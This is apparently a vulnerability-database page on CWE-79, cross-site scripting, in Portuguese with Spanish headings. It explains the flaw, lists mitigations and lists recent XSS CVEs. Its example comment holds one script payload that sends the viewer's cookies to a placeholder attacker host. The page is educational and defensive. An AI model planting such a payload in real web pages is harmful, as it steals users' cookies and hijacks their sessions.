Fallos del tipo CWE-79

29.814 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-52000HIGHReflected Cross-site Scripting exploit in Combodo iTopEPSS 0.4%CVE-2024-53969MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-26576HIGHWordPress WP Simple Slideshow Plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-42817MEDIUMCross-site Scripting (XSS) in pimcore admin-ui-classic-bundle translationsEPSS 0.4%CVE-2025-23670HIGHWordPress 4 author cheer up donate plugin <= 1.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-8180MEDIUMImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2026-42686HIGHWordPress EventPrime plugin <= 4.3.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-26583HIGHWordPress Video Share VOD plugin <= 2.7.9 - Reflected Cross-Site Scripting vulnerabilityEPSS 0.4%CVE-2024-10473MEDIUMLogo Slider < 4.5.0 - Author+ Stored XSSEPSS 0.4%CVE-2024-48448MEDIUMAn arbitrary file upload vulnerability in Huly Platform v0.6.295 allows attackers to execute arbitrary code via uploading a crafted HTML filEPSS 0.4%CVE-2024-41348MEDIUMopenflights commit 5234b5b is vulnerable to Cross-Site Scripting (XSS) via php/alsearch.phpEPSS 0.4%CVE-2024-38527MEDIUMCross-site Scripting in ZenUMLEPSS 0.4%CVE-2025-26581HIGHWordPress Picture Gallery plugin <= 1.6.3 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2024-41816MEDIUMWordPress Cooked Plugin Persistent Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-3576HIGHNPort 5100A Series Store XSS VulnerabilityEPSS 0.4%CVE-2024-1159MEDIUMBold Page Builder <= 4.8.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Raw ContentEPSS 0.4%CVE-2025-26579HIGHWordPress MicroPayments Paid Membership plugin <= 3.2.4 - Reflected Cross-Site Scripting vulnerabilityEPSS 0.4%CVE-2026-75586MEDIUMUnlimited Elements For Elementor <= 2.0.17 - Reflected Cross-Site Scripting via 'formData[id]' ParameterEPSS 0.4%CVE-2024-25551MEDIUMCross Site Scripting (XSS) vulnerability in sourcecodester Simple Student Attendance System v1.0 allows attackers to execute arbitrary code EPSS 0.4%CVE-2025-23700HIGHWordPress yCyclista plugin <= 1.2.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%